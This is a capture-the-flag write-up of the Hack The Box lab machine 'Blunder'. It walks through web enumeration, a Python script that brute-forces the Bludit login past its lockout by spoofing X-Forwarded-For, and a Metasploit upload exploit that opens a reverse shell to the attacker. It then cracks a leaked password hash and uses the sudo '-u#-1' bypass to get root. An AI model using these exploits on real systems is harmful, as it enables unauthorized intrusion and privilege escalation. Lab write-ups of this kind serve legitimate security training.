Hack The Box - Blunder Writeup
Blunder is an easy linux box by egotisticalSW.
Overview
The box starts with web-enumeration, where we find an instance of Bludit-CMS running. Using a CeWL and a known bruteforce-login-bypass, we get access as administrator. We then use a Metasploit-module to get a shell as www-data.
To get user, we enumerate the system and find hashes stored on the file-system, which we crack and use to login as user.
To get root we exploit a known sudo-vulnerability that allows us to bypass the sudo runas-restrictions.
Information Gathering
Nmap
We begin our enumeration with a nmap scan for open ports.
root@darkness:~# nmap -sC -sV 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up (0.059s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Enumeration
The only open port shown by nmap is 80 (http).
HTTP - Port 80
Let us start our web-enumeration by going to http://10.10.10.191.
Upon visiting the url, the following blog is shown. It seems like no interesting content can be found, so let us start a gobuster to search for further content.
Fuzzing directories and files using gobuster
root@darkness:~# gobuster dir -u http://10.10.10.191/ -w /usr/share/wordlists/dirbuster
/directory-list-2.3-medium.txt -x txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.191/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2020/05/31 14:18:20 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/robots.txt (Status: 200)
/todo.txt (Status: 200)
/LICENSE (Status: 200)
Running the gobuster, we find multiple directories and files with the most interesting ones being /admin
and /todo.txt
.
Let us check out /admin
next.
Finding and enumerating Bludit CMS
Going to http://10.10.10.191/admin we get to a login prompt for Bludit
. Researching on google, it turns out Bludit is a CMS. After some more research, I found a a login bruteforce bypass poc that can be used to bruteforce passwords without getting temporarily banned after too many failed attempts.
Next, let us check out the todo.txt
file.
root@darkness:~# curl 10.10.10.191/todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
Checking todo.txt
, we get a potential username (fergus
).
Now that we have a username we have to decide on which wordlist to use for bruteforcing.
Using CeWL to generate wordlists
We can use a tool called CeWL to grep all words from the website and use it as possible password-candidates.
root@darkness:~# cewl http://10.10.10.191 -w wl.txt -m 5
root@darkness:~# cat wl.txt | wc -l
243
We define that all words with at least 5 characters are added to the wordlist resulting into 243 possible password candidates.
Next we can use this wordlist with the login-bypass-poc (which I have slightly modified).
#!/usr/bin/env python3
import re, requests, sys
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
for password in open("wl.txt","r"):
password = password.rstrip() # Remove newline
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print(f'[*] Trying: {password}')
headers = {
'X-Forwarded-For': password,
'User-Agent': 'Mozilla/5.0',
'Referer': login_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
sys.stdout.write("\033[F")
if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print(f'[+] Password found: {password}\n')
break
Now let us run the poc with our generated wordlist.
root@darkness:~# python3 poc.py
[+] Password found: RolandDeschain
After running for a bit, we get a result: RolandDeschain
. Now that we have credentials (fergus
:RolandDeschain
), we can search for a way to gain initial access to the server.
Initial shell
After a bit of research I found a Metasploit-module, which seems to exploit an image-upload vulnerability. Because of lacking time, I did not tried to replicate the exploit myself (as I would usually do).
Anyways, we can run the exploit with the gathered credentials and check if we get a shell.
msf5 > search Bludit
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/bludit_upload_images_exec 2019-09-07 excellent Yes Bludit Directory Traversal Image File Upload Vulnerability
msf5 > use 0
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set LHOST tun0
LHOST => tun0
msf5 exploit(linux/http/bludit_upload_images_exec) > run
[*] Started reverse TCP handler on 10.10.14.6:4444
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading SpMCoqbbdn.png...
[*] Uploading .htaccess...
[*] Executing SpMCoqbbdn.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.191:53438) at 2020-05-31 15:09:31 +0200
[+] Deleted .htaccess
meterpreter > shell
Process 2780 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
After running the Metasploit-module, we indeed get a shell as www-data.
Privesc to user
Now that we have gained initial-access to the server, let us enumerate the system to escalate our privileges.
Enumeration as www-data
Let us start our enumeration by looking at the file-system of the server.
www-data@blunder:/var/www$ ls -alh
total 20K
drwxr-xr-x 5 root root 4.0K Nov 28 2019 .
drwxr-xr-x 15 root root 4.0K Nov 27 2019 ..
drwxr-xr-x 8 www-data www-data 4.0K May 19 15:13 bludit-3.10.0a
drwxrwxr-x 8 www-data www-data 4.0K Apr 28 12:18 bludit-3.9.2
Looking at the files in /var/www/
, we find two installations of Bludit. Let us search both installations for the users.php file, which should contain credentials.
www-data@blunder:/var/www$ cat */bl-content/databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
[...]
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Admin",
"firstName": "Administrator",
"lastName": "",
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"salt": "5dde2887e7aca",
[...]
"fergus": {
"firstName": "",
"lastName": "",
"nickname": "",
"description": "",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
"salt": "jqxpjfnv",
[...]
Looking at both files, we get multiple hashes, however the password of the user hugo
does not seem to contain a salt. Let us try to crack this hash first.
Cracking the hash
Before trying to manually crack the hash, we can try to lookup the hash online.
Seems like the password for the user hugo
is hashed using the sha-1 algorithm
and in plaintext is: Password120
.
Getting a shell as user (hugo)
We can now try to login as hugo on the system.
www-data@blunder:/var/www$ su hugo
Password: Password120
hugo@blunder:/var/www$ cat ~/user.txt
33211***************************
We successfully login as hugo using the found password and can read user.txt.
Privesc to root
Now that we have a shell as user, let us enumerate the system to find a privesc-vector to root.
Enumeration as hugo
Let us check the sudo-privileges of hugo.
hugo@blunder:/var/www$ sudo -l
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
Hugo seems to be allowed to run /bin/bash
as any user except for root. Let us check the version of sudo next.
hugo@blunder:/var/www$ sudo -V
Sudo version 1.8.25p1
The installed sudo version is vulnerable to an runas-restriction-bypass and can be exploited. The exploit in full detail is explained here. The basic vulnerability lies in the fact that sudo and setresuid system-call interpret the user-id differently.
Exploiting sudo runas-restriction-bypass
We can exploit the vulnerability by supplying -1
as the id of the user. Whilst sudo will interpret the number as -1
, which is not equal to 0 (root), the setresuid system-call will return 0
(root) instead of -1
, resulting into escalation to root-privileges.
hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo# cat /root/root.txt
6e0ef2***************************
We successfully exploit the vulnerability and can read root.txt.